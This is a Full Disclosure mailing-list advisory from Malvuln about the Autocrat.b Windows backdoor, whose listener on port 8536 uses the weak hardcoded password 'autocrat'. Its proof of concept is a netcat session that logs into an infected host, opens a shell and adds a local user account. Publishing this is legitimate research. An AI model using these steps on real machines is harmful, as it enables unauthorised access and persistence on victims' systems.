full-disclosure - [FD] Backdoor.Win32.Autocrat.b / Weak Hardcoded Credentials

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Message-ID: <CAAHK0WTJheUW6cu0mSSstYQfKiwK0sy+vzCzwda_u5RGrRq4OQ@mail.gmail.com>
Date: Thu, 24 Nov 2022 16:55:45 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Autocrat.b / Weak Hardcoded Credentials

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/4262a8b52b902aa2e6bf02a156d1b8d4.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@...vuln

Threat: Backdoor.Win32.Autocrat.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware is packed with PeCompact, listens on TCP port 8536
and requires authentication. However, the password "autocrat" is weak and
hardcoded within the PE file. Unpacking the executable, easily reveals the
cleartext password.
Family: Autocrat
Type: PE32
MD5: 4262a8b52b902aa2e6bf02a156d1b8d4
Vuln ID: MVID-2022-0660
Dropped files: srvsupp.exe
Disclosure: 11/24/2022

Exploit/PoC:
C:\Users\gg\Desktop>nc64.exe x.x.x.x 8536
Login:autocrat

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user apparitionsec 666 /add
net user apparitionsec 666 /add
The command completed successfully.

C:\Users\Victim\Desktop>

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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